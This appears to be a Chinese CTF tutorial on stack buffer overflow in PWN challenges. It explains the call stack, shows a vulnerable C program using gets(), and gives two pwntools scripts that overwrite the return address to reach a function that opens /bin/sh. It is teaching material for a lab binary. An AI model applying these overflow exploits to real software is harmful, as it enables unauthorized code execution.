在国内的CTF比赛中,PWN题最常见考点就是缓冲区溢出漏洞,而缓冲区溢出代表就是栈溢出漏洞。后面斗哥将带来栈溢出的解题方法。
0x01 基础知识
栈是一种先进后出的数据结构,从高地址向低地址增长的内存结构。
函数调用栈是指程序运行时内存一段连续的区域,用来保存函数运行时的状态信息,包括函数参数与局部变量等,是系统栈的一部分。
在一次函数调用中,函数调用栈中将被依次压入:函数实参、返回地址、EBP。如果函数有局部变量,接下来就在栈中开辟相应的空间以构造变量。
ESP 称为栈顶指针,用来指示当前栈帧的顶部。
EBP 称为栈基址指针,用来指示当前栈帧的底部
0x02 漏洞原理
栈溢出漏洞是由于使用了不安全的函数,如C中的 read(fd, buf, nbytes)、gets(s)等,通过构造特定的数据使得栈溢出,从而导致程序的执行流程被控制。当程序代码如下时:
int main(int argc, char **argv) { char s[12]; gets(s); return 0; }
栈空间如下:
当构造变量char s[12]时,系统就在栈中给s开辟栈空间,可gets(s)函数未限制输入字符长度,可以构造大量的数据来超出变量的空间从而造成溢出,覆盖到s以上的栈空间。
0x03 解题步骤
例举一道栈溢出的PWN题,根据解题步骤来解答。
1 、逆向工程:
将PWN题拖入IDA,点击程序入口函数。按F5逆向main函数,查看对应的C伪代码。main函数调用vulnerable()函数。
点击进入vulnerable()函数并F5逆向。
vulnerable()函数中调用了gets()和puts()函数,而程序的逻辑就运行main函数和vulnerable函数。vulnerable函数功能:输入字符串,输出字符串程序中主要函数有内置行数:gets、puts、system自定义函数:main、test、success
2 、分析代码:
进行逆向工程拿到C伪代码,代码大致如下:
#include <stdio.h> #include <string.h> void success() { puts("You Hava already controlled it."); system("/bin/sh"); } void test() { puts("Connection Successful."); } void vulnerable() { char s[12]; gets(s); puts(s); return; } int main(int argc, char **argv) { vulnerable(); return 0; }
gets() 是一个危险函数,因为它不检查输入字符串的长度,而是以回车来判断是否输入结束,所以很容易导致栈溢出。
3 、漏洞利用:
查看程序的保护机制:
程序在无任何保护的情况下进行解题:
输入s的值溢出到返回地址,将返回地址替换成text函数的起始地址。
查看text函数的起始地址。
EBP与EBP的距离14H,而栈中的EBP占栈内存4H,所以要覆盖到放回地址需要18H。
编写脚本如下:
from pwn import * sh = process('./Ezreal1') success_addr = 0x080491DE payload = 'a' * 0x18 + p32(success_addr) print p32(success_addr) sh.sendline(payload) sh.interactive()
利用脚本后的栈结构如下:
所以当函数调用完毕后,执行返回地址时将执行text函数。运行脚本,成功运行text函数:
4 、getshell:
分析代码发现程序中有getshell函数,这时就不需要构造shellcode,直接溢出返回地址,让程序执行此函数。
查看success函数地址:
脚本如下:
##!/usr/bin/env python from pwn import * sh = process('./Ezreal1') success_addr = 0x080491A2 payload = 'a' * 0x18 + p32(success_addr) print p32(success_addr) sh.sendline(payload) sh.interactive()
运行脚本,成功拿到shell:
0x04 小小总结
这篇文章斗哥主要简单的介绍了栈的基本结构,以及在程序未开启任何保护的情况下,该如何利用漏洞。下期斗哥将会介绍在程序开启不同栈保护机制要如何利用漏洞。
来源:freebuf.com 2019-02-27 11:10:12 by: 漏斗社区
请登录后发表评论
注册